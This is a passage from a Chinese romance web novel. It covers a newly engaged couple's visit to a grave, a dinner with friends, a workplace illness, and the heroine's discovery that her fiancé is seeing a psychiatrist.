指尖掐进掌心,她抑住鼻酸,举起右手,晃了晃无名指上的戒指。 “姐姐。”唇角上扬,她露出温软又幸福的笑:“我答应阿让的求婚啦。” “你会祝福我们的,对吗?” 又一阵风吹过,晃动碑前那束木槿,散出丝丝缕缕的恬香。照片上的温惠,一如记忆中那般美好温柔,黑白笑眼凝望着他们的身影。 仿佛在说,走下去吧,带着姐姐的爱和祝福,就这样一直走下去吧。 从墓园出来的时候,太阳马上就要落下山头。两人牵着手,慢悠悠走在街边,路过转角处的糖水店,周嘉让进去给她买了杯麻薯鲜奶. 甜滋滋的味道,将心底那点伤感一扫而空,温书棠正小口喝着,忽然听见他叫自己。 “宝贝。”她含糊嗯了声:“怎么啦?” 拨开她额前的一小绺碎发,轻轻掖到耳后,周嘉让随口好奇道:“刚刚,你单独和妈妈说什么了?”“都说了是悄悄话——”温书棠咬着吸管,故弄玄虚地拉长声调,“那当然要保密啦 周嘉让折眉,没由得生出担心:“不会是去告我的状了吧。““喂。”温书棠瘪起腮帮,咕哝着替自己委屈,"我哪有你说得这么小气啊。“ 她嘴角沾着生奶,眼睛瞪得大大的,像只气鼓鼓的小猫。周嘉让忍不住笑起来,肩线都跟着抖,食指刮她鼻尖:“哎呀逗你呢宝贝。“ 捧起她白皙的脸,他凑过去亲了好几下,眼角眉梢是藏不住的笑:“怎么生气都这么可爱。” 吃过晚饭,夜幕降临,他们又去了澜椿路的家。楼前路灯不知怎么坏了,发出断断续续的滋滋声,打开手电简,刚走进单元楼,迎面却碰上一个满身酒气的醉汉。 不怀好意的目光,直勾勾落在温书棠身上,周嘉让将她护在身后,掀起眼,警告地也向那人。气场太强,男人只得灰溜溜地离开。 眼眸中的冷淡瞬间化为柔和,周嘉让捏她耳垂:“吓到没有?”温书棠晃晃脑袋:“没有。” “你之前…”音量渐弱,他不知不觉地拧起眉,“也遇见过这种情况吗?“温书单先是顿了几秒,然后才浅笑着否认:“有啦,我高三住在欢意家,平时部和她起上下学的,还有许办泽在后面护送呢。” 周嘉让没再接话,心口却像被针刺般隐隐作痛。高三没有,那其他时间呢?独自面对这些人时,她又该有多么惊恐无助呢?他甚至不敢多想。 脚步停在三楼,拧动钥匙,温书棠推开家门。为着上次的热搜事件,她匆匆赶回来取成绩单,但走的时候太急,居然忘了关灯。 暗色光线下,被惊起的灰尘在空气中翻滚。以往都是送她到楼下,周嘉让还是第一次进来,踱步来回转了几圈,从阳台到客厅,每个角落都觉得新奇。 她的房间不大,但布置很温馨,墙上贴着粉色的卡通壁纸,床单同样也是粉色系。桌角摞着厚厚一沓奖状,是她这些年在各类比赛中拿到的,下面还有一些泛黄的老照片。 “能看吗?”周嘉让偏过头问。毕竟是小时候的东西,说不准有什么黑历史,温书棠不太好意思,但还是抿唇点了点头 没什么是他不能看的。他是自己在这个世界上最亲密的人。 浓密的睫垂下,周嘉让倚在墙边,骨节修长,一张张看得极为仔细。翻到其中某张时,他神色稍停了下,指着画面右侧的年轻男人:“这个是叔叔吗?” “嗯。”温书棠凑到旁边,歪头靠在他肩膀上,“是我五岁生日那天,爸爸专门从矿上请了假,带我和姐姐出去吃饭。”她细声细气地回忆:“那也是他陪我过的最后一个生日了。” 气氛莫名沉寂,周嘉让盯着手里的照片,眼瞳中蓄起一团散不开的浓雾。温书棠疑惑地戳他脸颊:“阿让,你在想什么呢?” 迟缓回神,他下颌绷得很紧:“我在想啊,要是真有能让时空倒流的机器就好了。”没听他说过这种话,温书棠不免惊讶:“怎么突然这么说?” 双手环住她的腰,周嘉让对上她清透的眼:“这样我就能再早点认识你了。”就不会让你一个人吃那么多苦头了。温书棠明白他的意思,心脏软得不像话,向前挪动一小步,主动钻进他怀中:“都过去了,别想那么多。” “我们未来还有好多好多年呢。”喉间滚出一个嗯,周嘉让回抱住她,力气很重,像要揉进身体里:“往后都有我陪你。” 墙上时钟滴滴答答地走,反复看了好多遍,周嘉让仍然没有放下那沓照片。 眉心暨起,温书棠不解地咬着下唇:“有这么好看吗?”“当然了。”掀起眼,他嘴边的弧度根本压不住,抬手把她拉到身侧,和她一起翻看,“我们恬恬,怎么从小到大都这么漂亮呀。” “哪有。”耳根发热,温书棠嫌他贫嘴,“你又逗我。”周嘉让圈着她脖颈,吐息间的热气洒在耳廓上,抬高语调:“没有,我说的都是真的。” “以后要是咱们有小孩的话。”他紧密贴上她的脸,字句缓慢地畅想,“还是多像你一点比较好。” “白白嫩嫩的,多招人喜欢啊。” 想到那种场景,唇边酿开一点笑意,温书棠侧眸看他,声音也软下来:“像你不好吗?”“不好。”周嘉让答得很认真,“我没你好看,也没有你乖。”温书棠食指抵在他唇上,较真地纠正:“不许这样说自己。” …… 外面天色更暗,月光如薄纱般皎洁铺开。到了晚上放学时间,路上新渐热闹起来,穿着校服的学生三五成群,勾着肩麟相互说笑,偶几辆电动车驴过,被风拂起的衣角飘场在风中. “虽然这处房子很小,位置也偏。”温书棠将裁缝铺的门锁好,留恋地又看了眼招牌,“但当时搬进来的时候,我高兴了好久。”“我想,我和姐姐终于有自己的家了,再也不用寄人篱下了。” 周嘉让揉揉她头发:“京北离这也不远,想家的话,我们随时都能回来。” 温书棠没说话,勾着他的手,有点幼稚地去踩脚下的影子。安静了好一会,她才自顾自地往下说。 “阿让,你知道吗?其实最开始那几年,我一点都不喜欢京北。”周嘉让护着她的腰,以防她重心不稳会摔倒,皱眉追问:“为什么?不是说喜欢京北的雪吗?” 那次在面馆,听他说京北经常下雪,她还向往地说浪漫来着。 “是啊。”温书棠耷下眼,语气闷闷的,像浸了水的湿棉花,“可是冬天实在太冷了,每次出门,北风在脸上刮得好疼。”“而且天空总是灰蒙蒙的,很少能见到太阳,到处都是高楼大厦,就像被困在一座牢笼里。” “报考时,我原本是想去沪市的。”手指一圈圈缠着衣角,她把那段不为人知的往事讲给他听,“但在志愿系统关闭的前三分钟,又急匆匆地改成了京北大学”心头隐约有些不好的预感,言语中夹杂着窸簌的颤,周嘉让沉声问:“所以宝贝为什么要改呢?” “因为…….”温书棠停了脚,横跨一步到他身前,仰起脸,下颌拉出一抹柔软:“你说过,你曾经跟着阿姨在京北生活过。” “我以为你离开漓江后,转学回了京北。”所以想去找他。 如同被雷电击中,心脏传来重重一跳。 眸光 瞬变得晦涩,情绪像喷涌而出的洪水,周嘉让握住她的下巴,毫不犹豫地低头吻了进去。街灯昏暗,影影绰绰地笼置在周围,宛若添了层朦胧的滤镜,往来背景被虚化,浩瀚天地间,他们只剩下彼此。 唇瓣贴合,极具升高的温度里,如燃烧木柴中炸开几簇火花,酥麻的电流感顺着脊背窜过。这个购来得很凶,温书凳没有准备,呼吸彻底乱了节拍,眼睫簌簌发额,手指无措攀上他的肩,承受着他这强势并绵长地掠夺。 吻到最后,体力尽失。周嘉让抱着她,擦掉她唇下残留的水清、炽热的鼻息交织在一起:“宝贝,不喜欢的话,我们就回到漓江。” “或者你喜欢哪个城市,我们就去哪里生活。“ 温书棠摇摇头,往他身上贴得更紧了点:“现在已经喜欢了。“ 因为你回来了。所以我重新喜欢上这座城市了。只要有你在身边,哪怕是最讨厌的雨天,都能变成晴朗明媚的好天气。 回漓江的前一天,小分队在1912的淮扬菜里聚餐。这场是许亦泽请客,翻开菜单,他跟人机似的从头到尾报着菜名。 清清嗓子,许亦泽问:“盐水鸭怎么样?”谢欢意接:“好吃,爱吃”周嘉让帮温书棠拆开餐具:“可以,我未婚妻喜欢。”听见这个称呼,温书棠稍有怔愣,似是不太习惯,但转念一想,毕竟都求过婚了,这么叫倒也正常。 许亦泽翻到下一页:“大煮干丝呢?”谢欢意托腮:“可以”周嘉让将烫碗筷的水倒掉:“告诉他们别放香菜,我未婚妻不吃。” 许亦泽一记下,又问:“干层油糕?”谢欢意撇嘴:“勉勉强强能吃吧”周嘉让嫌弃:“这个不要,太油了,我未婚妻吃不了。” 许亦泽:…"捏着纸页的手忽而一顿是错觉吗?他怎么感觉今天有哪里不太对劲呢? 等饭吃到一半,他终于迟钝地发觉出这种不对劲到底来源于哪。 那会他们正商讨聪点该去哪转转,许办泽咽下嘴里的烤鸭包,抬起头提议:“要不去游乐场吧,听说里面新装了个过山车,特用刺激谢欢意第一个赞同,眼睛都亮起来:“好欸!好长时间没去玩过了。” 周嘉让却泼来一桶冷水:“游乐场可以,过山车不行。”“我末婚妻胆子小,坐不了这个“…“……. 许亦泽抽抽嘴角,眼帘扬起,又落下,憋了半天还是试探着问出来:“阿让,你今天被人夺舍了啊。”周嘉让斜他一眼,淡淡撂下一句滚。 “没被夺舍的话。”许亦泽神情复杂,怎么都无法理解,“那你干嘛一口一个未婚妻,听着怪别扭的。”“你之前也不这么叫棠妹啊” 这个问题似乎正中下怀,只见周嘉让放下筷子,悠悠靠在椅背上,刻意把尾音拖得很长:“那当然是因为——”他挑眉,眼底尽是得意:“我求婚成功了啊。” 许亦泽:“……… ”他本能地翻了个白眼,着实是被他无语到:“所以呢?你求婚你了不起啊。” “对啊。”周嘉让理所当然地应下,眼皮压出深深一道褶皱,放慢语速,是炫耀也是强调,“求婚就是很了不起啊。”许亦泽直接被气笑了,不留情面地吐槽:“神经。 97、体检 更没想到,周嘉让竟然还没把那件事告诉她。 吃完饭时间还早,付过款后,四个人走出餐厅。 每次见面,两姐妹都有说不完的悄悄话,手挽着手,亲亲热热地去了隔壁奶茶店,两位男朋友则被无情留在了外面。 就像送小朋友上学的家长,目送她们走进店内,两人才堪堪将目光收回。 周嘉让抱着手臂,唇线绷得很直,不大高兴地扫他一眼。凭借多年兄弟默契,许亦泽读懂他眼神中的意思,不甘示弱地反击:“看什么。”"我家欢欢不也被你家棠妹拐走了。"周嘉让冷哼一声。 午后气温偏高,风中翻涌着闷燥,街边梧桐迎来又一轮新生,枝繁叶茂间,撑开一片怡人的阴凉。 许亦泽从口袋里摸出薄荷糖,往手心倒了两颗,铁盒碰出叮叮声响,扬眉递到他面前:“要不要?”周嘉让伸手接过,掀起眼看他:“认真的,你们俩这都六七年了,还不打算求婚啊。” “我自己都不急呢。”不知从哪飘来片树叶,许亦泽捏在手里把玩着,举手投足间带着一如既往的少年气,“你急什么。”周嘉让轻嗤:“行,我多管闲事了。” “不过要是哪天谢欢意再被人搭讪表白。”眉梢松散耷下,他几下把糖咬碎,口腔里蔓开一阵清凉,“你可别来找我喝闷酒啊。” “没空陪你。“ 黑历史又一次被提起,许亦泽皱眉嘶了下:“这都多少年了,你就不能把它忘了。”“再说了。”他嫌弃地撇撇嘴,“我和欢欢现在可好着呢,感情那叫一个稳定,谁用得着你陪了。” “自恋。”掌心倏地传来震动,是温书棠发来的消息,拍了店里的饮品单,问他有没有什么想喝的。周嘉让回复完,不紧不慢地转了两圈手机,等她回来的时间里,忍不住继续嘴欠:“再好也只是女朋友,女朋友和未婚妻可差远了。” “…” 许亦泽本不想理他,但又咽不下这口气,半眯起眼,真诚发问:“不是,棠妹平时到底是怎么受得了你这副德行的?”周嘉让扯唇,叶隙间的光影落在脸上,勾勒出他绝佳的骨相,不紧不慢地抬眼:“羡慕就直说。” “我有什么好羡慕的?”许亦泽倍感荒唐地反问,“我和欢欢可是五岁就认识了,比你们俩早多了好吗。”周嘉让自动忽略后半句,把话绕回去:“当然是羡慕我有未婚妻啊。” 十几米之外,奶茶店的门被推开,女孩们拎着冷饮,有说有笑地朝这边走来。 许亦泽看向右侧的谢欢意,她今天穿了很可爱的套裙,腰间系着蝴蝶结,搭配的丸子头还是出门前他帮忙扎的。眸中划开一抹柔和,神色里却多出些许笃定,薄唇翕动,他轻声:“等着吧。” “她很快也会是的。”她很快也会成为他未婚妻的。 爱了这么多年,怎么可能不急呢?只不过他有自己的计划罢了。 休假结束,回到京北,他们再次投入到繁忙的工作中。日历一页页撕过,白昼渐长,宛若破土而出的嫩芽,沉睡了数月的暑热渐渐苏醒,柏油路面被日光蒸腾炙烤,树丛间隐匿着懒倦的蝉鸣。 距离会议开始还剩三十分钟,展厅里陆陆续续有宾客进入。温书棠坐在同传箱里,眼前摊着一会要翻的稿件,本打算抓紧时间再熟悉一遍,可思绪却像被灌了铅,好半天才勉强看完第一行。 她是早上到公司后才发现生理期提前了。不清楚什么原因,这次疼得格外厉害,小腹那像有把刀在绞,四肢冰冷,额头渗出一层细密的汗。 右手虚虚捂住,她抿了几口热水,试图将不适感压下去一点,又在心里默默祈祷,希望会议开始后能别这么难受。 和她搭档的是西语组的同事,见她伏在桌上,脸色白得吓人,连忙凑过去,轻轻拍了拍她肩膀:"Sandy,你还好吗?"温书棠摇摇头,费力从喉咙里挤出一句没事。 瞧她这副模样,同事也能猜到是什么情况,低头在包里翻了会儿,递给她一个四方的小盒子:“我这有止疼药,你要吃吗?“温书棠说了声谢谢,抠开铝箔板,伴水服下两粒药。 等药效慢慢上来,总算是没那么疼了,她逼着自己打起精神,重新找回工作状态。有惊无险,最后完成得还算顺利。 整理好材料,两人从隔间里出来。为了感谢她的药,温书棠想请她一起去吃个午饭,偏过头,还没来得及开口,却见同事脚步踉跄了下,揉着太阳穴,摇摇晃晃地晕倒在地上。 …… 医院急诊大厅里,人群喧嚷声与电子广播的播报声相互交织。检查结果还要再等等,温书棠坐在诊室外的长椅上,盯着地面上的瓷砖花纹,鼻腔里满是刺人的消毒水气味。 耳边传来仓促的脚步声,她下意识抬起头,看清来人的身影后,没由得瞪大双眼。“你怎么来啦?” 周嘉让停在她身前,大概路上走得太急,喘息声有些重,额前碎发也乱,T恤下摆堆积在腰间。“左逸明今天也在云幄开会。”他把她颊旁的碎发掖到耳后,声线不太平稳地解释,“他说隔壁会场的翻译被送进医院了。” “给你发消息没回,电话也打不通,所以就赶紧过来看看。” 温书棠愣了愣,后知后觉想起来,是自己忘记关工作模式了。“那个不是我。”她拉起他的手,拇指在手背上蹭了蹭,“是我们西语组的同事。” 周嘉让嗯了下,紧锁的眉头却没松,半俯下身,掌心抚上她侧脸:“是哪里不舒服吗?”在额头上试过温,倒是没发烧,他语气低了些:“脸色好差。” 他身上有好闻的雪松气,温书棠不自觉朝那边靠:“没事,就是肚子疼。”周嘉让很快反应过来,在心里算了算日子:“提前了?”她点点头。 “疼得很厉害吗?”他把人搂到怀里,一边帮她揉着,一边回想最近几天有没有给她吃什么太凉的东西。“不厉害。”不想让他太担心,温书棠浅浅弯唇,“吃过药了,现在感觉好多啦。” 身门被打开,医生拿着报告单出来,说同事是因为工作强度太大,日常饮食不规律导致的急性胃炎,再加上低血糖,需要留下来挂几瓶水。温书棠在病房里陪了会儿,等她家人赶过来后,才被周嘉让牵着离开。 天气很热,但她的手却好冰。怕她再出什么差错,周嘉让没让她回公司,在Chloé那请了小半天假,把她抱到副驾驶上坐好。 系上安全带,周嘉让拉开储物格,拿出里面一直备好的暖贴。撕掉包装,他用手捂到微微发热,一包贴在小腹上,另一包塞到她手心里。 然后又去拿后座上的薄毯,轻轻搭在她腿间。 等一切安顿好后,周嘉让揉揉她的头,漆黑眼眸澄着她的身影:“哪里难受就告诉我,不许硬撑。”温书棠乖乖应下:“知道啦。” 明明没到晚高峰,路况却莫名拥堵,车子走走停停,行进速度十分缓慢。生理期本就虚弱,上午的会又消耗了太多体力,温书棠半阖着眼,歪头窝在车座里,连什么时候睡着的都不知道。 再睁开眼,人已经回到家中。窗外天都黑了,这一觉她睡得很沉。 陷在松软的床铺里,身体也跟着放松下来,温书棠揉了揉眼,舒服翻身,发现怀中多了个暖水袋,小火炉似的,正源源不断地散发热度。 也许是心有灵犀,周嘉让恰好推门,摁亮墙上的壁灯:“醒了宝贝?”走到床边,他把人连着被子抱起来,手指捋顺她睡乱的长发:“感觉好点了吗?” 温书棠趴在他肩膀上,看起来还是不太清醒,软软地点了点下巴。忽然嗅到食物香气,她抽抽鼻尖,眼睛睁大了点:“是在准备晚饭吗?好香啊。” 周嘉让被她的表情可爱到,唇角没由得酿开笑意,在她脸颊轻捏了记:“饭还没好,但给你熬了个小甜品。” “要拿进来吃吗?” 温书棠不习惯在床上吃东西,总觉得会弄脏床单,于是晃晃脑袋:“去客厅吃吧。” 双臂托在腿弯下,周嘉让抱她出了卧室,动作轻缓地放在沙发上。 他在她身后添了个软垫,又去厨房把做好的红糖小圆子端过来。 “要我喂你吗?”他蹲下身,与她视线平齐。温书棠没那么娇气,伸手拿过汤匙:“我自己来就好。” 汤底加了桂花,味道清甜,却不腻人,圆子煮得很软糯,顺着喉咙滑下,原本空荡的胃瞬间得到滋润。 周嘉让是第一次做,没什么经验,拢着眼头等待反馈:“怎么样?还可以吗?” 温书棠竖起大拇指,颊边露出两个梨涡,毫不吝啬地夸奖:“特别棒!比路边糖水店里卖的还好吃!” 周嘉让擦掉她唇上沾着的余渍,语调变得轻松:“真有这么好啊。”她眼睛亮亮的,像一块不含杂质的琥珀,连声肯定:“真的真的。” 为了证明自己的话,她把那一整碗都吃完了,还专门拍照发了条朋友圈。【谢谢男朋友的爱心甜品,辛苦啦~】 谢欢意几乎是立马来给她评论:【哇,这看着就好吃。】【@许亦泽,你看看人家,过来学习一下好吗。】当事人对此表示不服:【上次你生病,我不是也下厨了吗。】提起这个,谢欢意的无语简直快要溢出屏幕:【你是指那碗被你错把盐当成糖来用的八宝粥吗?】【还是指那个差点把厨房炸了、最后快被烤成炭的鸡翅?】后面跟着一个死亡微笑。 许亦泽:【】 许亦泽:【T_T我都说了,那只是个意外。】许亦泽:【但不管怎么说,我的出发点是好的,宝贝你说是不是^^】谢欢意:【呵呵。】 许亦泽:【@周嘉让,所以有教程吗?】 许亦泽:【看在这么多年兄弟的份上,分享一下,别那么小气。】 周嘉让:【有是有。】 周嘉让:【但连盐和糖都分不清的人,我估计是看不懂。】 许亦泽:【……:)】 那晚他们早早便上了床,周嘉让在身侧搂着她,一只手垫在颈后当枕头,另一只手穿过腰侧,贴着小腹打圈轻揉。他体温一向高,温书棠整个人都被热意包裹着,先前那点不适,早已消失得无影无踪。 耳边是他清晰的脉搏,温书棠微仰起头,盯着他高挺的鼻梁,盯着他眼尾那颗小痣,浓密卷翘的睫毛上下眨了眨。 眉宇舒展,周嘉让低眸,对上她的眼神:"干嘛这么看我啊宝贝?" 温书棠往里挪了挪,靠在他锁骨那儿,把藏在心里许久的话说了出来:“阿让,有你真好。” “谢谢你愿意照顾我,谢谢你这么爱我。”他的爱总是事无巨细,如同一张密不透风的网,滤去那些委屈与伤害,为她打造出一个无忧无虑的乌托邦。 周嘉让点她鼻尖,话语间带着宠溺的低笑:“怎么突然说这种傻话。”他握紧她的手,一根根捏着她纤细的指节,语速缓慢:“这不都是我应该做的吗?” “要是我对你不好的话——”周嘉让把她圈进怀里,眼瞳中闪着细碎的光,“怎么让你心甘情愿做我老婆啊。” 听见那个称呼,温书棠心口重重跳了一下。她抿抿唇,小声咕哝:“本来就是心甘情愿的。” 摩挲着他胸口的衣料,脑海中划过这些年的点点滴滴,眸光忽而闪动,澄着一汪温情。温书棠凑到他唇边,烙下一枚轻柔的吻。 气氛停滞了三四秒。 周嘉让扣住她后颈,反客为主般,低头将方才那个吻加深。 念着她是特殊时期,这个吻很温柔,并没有深入,只是浅尝辄止地贴合,呼吸交缠间,贪婪享受着这一刻的温存。就这样亲了很久,到最后两个人的气息都亲乱了,唇瓣微张,温书棠眼里噙着水雾,耳根上的温度烫得吓人。 她环着周嘉让的腰,视线凝在他侧脸上。房间里的主灯没有开,只有一盏昏暗的夜灯,这种朦胧缱绻的氛围,衬得他特别好看。 她本想再多看几眼,谁知却被他用手捂住。视觉骤然被剥夺,眼睫眨动的速度加快,小刷子一般剐蹭着掌心,温书棠嗓子发干,心脏似乎快要从胸腔里蹦出来。 她克制地咽咽喉咙,耳畔拂过几句沙哑,周嘉让低声:“宝贝,你别这样。”尾音咬得很轻,听上去有几分恳求的意味。 温书棠没懂。她哪样了? 疑问从心底冒出,下一秒,他很是无奈地说:“别再招我了。” 不说还好,这么一说,她反倒是感受到他某些危险的变化。指尖猛然一颤,或许是被暖意烘得,她思绪不太清明,晕晕涨涨就接了句:“那……要我帮帮你吗?” 话音落下,她才意识到自己说了多么大胆的话。但却没有后悔的余地,连呜咽声都被堵住,周嘉让又一次吻过来,这次力气重了许多,手掌移到腰侧,熟捻地挑起衣摆,缓解一般去捏下面那块软肉。 指纹划开阵阵粗粝,是电流席卷过的酥麻。 他含着她软嫩的唇瓣,牙齿辗转厮磨,仿佛要把所有的爱与欲渡给她,粗重的低喘令人面红耳赤,两人身上都泛起了滚烫的潮意。真的好烫,恨不得要把人融化了。 吹干不久的头发,此刻又被汗水打湿,乱七八糟地黏成一团,温书棠被他笼在身下,修长脖颈上满是红晕。这次分不清过了多久,只知道楼下便利店的音乐声都停了。 周嘉让紧紧抱着她,下巴埋在颈窝里,吐息间氤开一片湿热,他用力蹭了几下,闷声道:“宝贝,你学坏了。” 怎么就学坏了? 她不明白他是怎么得出这个结论的,嚅声关切地问:“.…真的很难受吗?” “实在难受的话.……”她舔了下嘴唇,忐忑地蜷起手指,“其实我…” “好了。” 周嘉让没让她把那句话说完。 “现在欺负你,那也太混蛋了点。” 他将掉落一半的被子扯回来,严严实实给她裹好,喉结隐忍滚了滚,干脆利落的两个字:“睡觉。” 温书棠哦了声,乖乖把眼睛闭上,又听到他压低嗓音说—— “这次先欠着。”“等过几天,你再帮我。” 温书棠没动静,想装作睡着了,但没过两秒,又害羞钻进被子里,细声细气地说了句嗯。 第二天一早,温书棠回到公司,在茶水间接咖啡的时候,碰见昨天那位晕倒的同事。 “你还好吗?”她走上前,一对细眉皱起,很是关心地询问,“不用再多休息几天吗?”女人朝她笑笑,声音还是比较虚弱,但气色看上去恢复了不少:“医生说没什么事了,后面注意按时吃饭就好。” “还没和你说谢谢呢,昨天多亏有你送我去医院。” 雾气自眼底氤开,温书棠摇了摇头,食指蹭在杯壁上,嘴角翘起一点弧度:“太客气啦,你昨天也帮过我呀。” “要不是你给的药,我都不知道该怎么办呢。” 她用半开玩笑的口吻:“说不定啊,连职业生涯都要断送了。”两人相视一笑,一切话语尽在无言之中。 翻译这一行业,女性占比本就更多,遇见困难时相互帮衬,是大家心照不宣的默契。头晕时递上的巧克力;生病时送来的药和热水;被高跟鞋磨破脚时,互相蹲下身,帮忙在伤口处贴好创可贴。偶尔遇见不礼貌的客户,也会毫不犹豫地站出来,不卑不亢,做彼此最可靠的后盾。 这是一种纯粹的,惺惺相惜的感情。她们或许柔软,或许脆弱,或许会因为小事掉眼泪,或许会无缘无故地陷入崩溃。 但,她们也可以强大到令人心安。她们不需要拘泥在世俗的刻板印象里,女性,本身就是很美好的存在。 也是这次意外,给公司敲了一记警钟,为了更好地关怀员工身体健康,领导层决定组织一次体检。温书棠推迟了几天,等生理期结束后才过去。 抽血结果要在半小时后出,看了看手里的检查单,她准备先到七楼去做心电图。这次来的又是三院,吸取了上次的教训,温书棠在引导牌前站了好一会儿,生怕再把自己绕进死胡同。 反复确认过后,她摁亮A区右侧的电梯。叮一声响,梯门缓缓打开,里面却出现一张熟悉的面孔。 “好巧啊。”应茜主动和她打了个招呼,“你还记得我吧?”怔愣少许,温书棠点了点头:“记得。” 狭小空间里,就只有她们两人。想到自己曾经对她的误会,温书棠有种无所适从的尴尬感,脊背像鼓面那样绷着,攥紧手心,一眨不眨地睨着显示屏上的红色数字。 后来还是应茜先挑开的话茬。“还没和你们说恭喜呢,也真是不容易啊,终于在一起了。”顿了半秒,温书棠转过身,问了个有些蠢的问题:“你怎么知道……” “能不知道吗。”应茜干笑两声,勾起一对桃花眼,颇有打趣的意味,“就周嘉让那得瑟劲,天天点开朋友圈就是他,想不知道也难吧。” 温书棠被臊得脸热,不好意思地摸了摸鼻头。自从他们俩和好后,周嘉让发动态的频率确实高了很多。有时是偷拍到的她的背影,有时是和她一起吃到的饭,有时没有图片,就只有一句好爱她。 许亦泽为此吐槽过好几次,问他谈个恋爱能不能低调点。 他冷冷丢过去个不能。 扫到她手里的单子,应茜随口又问:“生病了?” “不应该啊,周嘉让居然没陪着你一块过来?” “没。”温书棠小幅度晃了晃头,“是公司的体检。” “那个……”思来想去,她还是觉得自己该道个歉,抬起眼,认认真真地看着她,“对不起啊,上次是我误会了。”应茜无所谓地笑:“害,这有什么的。” “不过还是正式认识一下吧。”她伸出手,扬起明艳的红唇,“你好,我叫应茜。”温书棠同她回握,听她语气一转:“对了,你回去能不能劝劝周嘉让,让他按时来我这复查。” 说到这个,应茜就一阵头疼:“这又拖了好几个月了,每次给他发消息都装看不到,真没遇见过像他这么不省心的病人。” 温书棠霎时被定在原地。 仿若言语系统失了灵,耳边字句都变成乱码,足足过了半分钟,她才艰难给出回应。 “复查?什么复查?” 眉心深深拧起,她不解地反问:“阿让他怎么了?” 应茜被问得一愣,没想到她会是这种反应。 电梯升到六层,金属门再次开启。 “抱歉啊。”意识到自己说错了话,应茜生硬地转移话题,“我还有个会要开,先走了。” “有机会下次再聊。” "…"直到做完全部检查,温书棠都没有回过神来。 重逢后的每一帧画面,她在脑海里来回审视着,像个要求严苛的导演,饶是这样,依然没能发现什么蛛丝马迹。他怎么会和生病扯上关系? 慢吞吞地走下台阶,温书棠又想起那次,她陪冯楚怡来医院,撞见他们两人在一起。可他不是说来谈合作吗? 疑惑萦绕在心头,温书棠解锁手机,点开三院的官网,在搜索栏里输入应茜两个字。 加载框转了几圈,新的页面弹出来。黑色小字,犹如磨到极致的锋刃,在眼底刺开惊心动魄的血色。 只见介绍那栏写着: 应茜,女,斯坦福大学心理学硕士,医学心理科副主任医师。擅长方向:抑郁症、焦虑症、强迫症、失眠、双相情感障碍及躯体形式障碍等心理精神疾病。 98、记录... 难得工作不忙,周嘉让从挚书大楼出来时,比以往提前了两个小时。 他先是去市中心的甜品店,买了两个她喜欢的芝士蛋糕开车回到楼下,又忽然想起来,前几天她随口说,有点想喝玉米排骨汤。 于是改变路线,转脚去了超市,打算买好食材给她炖。他是这家店的常客,来的次数多了,几个负责理货的阿姨也与他熟识起来,每次都要过来闲聊几句,告诉他一些选菜的小技巧。 "玉米是上午刚送来的,特别新鲜,用来煲汤刚刚好。"“还可以往里面加点山药,这样对脾胃比较好。” ——道过谢,周嘉让把食材放进购物筐里。他又去里层货架上拿了些零食,想到冰箱里的牛奶快喝完了,索性一起补上。 旁边那个卷头发的阿姨笑了笑,随口问道:“是给女朋友买的吧?”周嘉让嗯了声,同样礼貌性地笑笑。 因为上午有个比较正式的会,所以他今天穿得是西装,很沉稳的黑色,领带规整系着,衬衫纽扣一颗颗扣好。头发有段时间没剪了,松散地垂在眉前,鼻梁上架着副黑框眼镜,眼尾那颗泪痣被衬得明显。 身上自带一种矜贵气质,听起来和这种地方不太搭配,但却又矛盾地契合,举手投足的动作间,都带着说不出的家居感。 连阿姨都不自觉多看了几眼,一边帮忙结账,一边忍不住感慨:“小姑娘运气真好,找了个这么体贴的男朋友。”周嘉让将菜提到手里,笑着摇了摇头,否认:“其实是我运气比较好。”"我女朋友啊,可比我优秀多了。" 回家换下衣服,将蛋糕和牛奶放进冰箱,他又处理了下邮箱里的邮件,然后便进了厨房准备晚餐。把洗净的排骨放进砂锅里,他拿起手机看了眼,距离她下班还有好一会,时间还算充裕,等弄完再过去接她也来得及。 正这么想着,外面却传来一阵寒簌的开门声。周嘉让走到玄关处,接过她手里的包,有些意外地问:“怎么这么早就回来了?”慢了好几拍,温书棠才抬起头,声音比平时虚,像是没分量的棉花团:“今天下午没工作,公司安排了体检。” 周嘉让摸摸她头发:“那怎么自己回来了?怎么不打电话叫我过去接你?”“怕你有事在忙,就没打扰你。”她一句一句地回,“而且医院离家也不远。”周嘉让皱了皱眉,有点较真地纠正:“你的事怎么能叫打扰。” 她从进门就没什么精神,眼神空洞,眼尾恹恹耷着,说话语速也慢,不知道是在想什么。周嘉让担心地叫她:“恬恬?”他捞起她垂在身侧的手,包到自己宽大的掌心里:“你怎么了?不开心吗?是碰上什么事了吗?” 又迟钝了几秒,温书棠才摇摇头,努力提起唇角,挤出一个不太好看的笑:“没有。”“我可能就是……有点累了。” 想到医院里各种繁琐的流程,跑上跑下确实是挺折腾人,周嘉让心疼地蹭着她的脸:“那你要不要去睡会?”温书棠说不要。 “不想睡。” 周嘉让没勉强她:“那你饿了吗?晚饭可能得等一会,我买了芝士蛋糕,要吃吗?”温书棠还是说不要。 “恬恬。”周嘉让带她在沙发上坐下,摸不清她发生了什么,眉心拧得很紧,“到底怎么了啊?”他猜测着种种可能:“是体检结果不太好吗?”温书棠却只是重复着没事,歪头靠在他身上,静静感受着他的体温与呼吸:“真没怎么,我就是想和你呆一会儿。” 可那天晚上,她明显比平时更加黏人。以往他们吃饭,都是面对面坐在两侧,可今晚温书棠却非要坐在他身边。 到后面洗碗时,她也像个小尾巴一样跟在身后,手里捧着他塞来的牛奶,陪着他忙里忙外,从客厅转到厨房,然后又转到阳台。 再后来,周嘉让打算去洗澡。温书棠勾着他的手没松开,他停下脚,像哄小朋友那样,耐着性子和她讲道理:“宝贝。” “真的还要跟吗?” 换做之前,聊到这个话题,她肯定会红着脸装听不懂,然后蹭着小碎步,藏到他看不见的地方装鹌鹑。可现在却半点害羞都没有,反而抬眸对上他的眼睛,满脸认真地问:“那天不是答应你,说要帮你吗?” 周嘉让懵了好一会儿,后知后觉才想起那晚在床上说的话。可他那时就是闹她的,单纯想说几句坏话逗人,根本就没放在心上,更没指望她会真的这样做。 “不用了宝贝。”喉结滚了滚,周嘉让半弯下腰,“我那是开玩笑的。”他转移话题和她商量:“去沙发上等我好不好?我洗澡很快的,你随便在手机上找首歌,等歌放完了,我也就出来了。” 可温书棠却非常坚持,说什么都要跟他进去。浴室门被关上,明明还没有放水,但玻璃上却起了一层雾。 哪怕到了这一步,周嘉让都没有多余的想法,只想着快点解决,然后就带她出去。 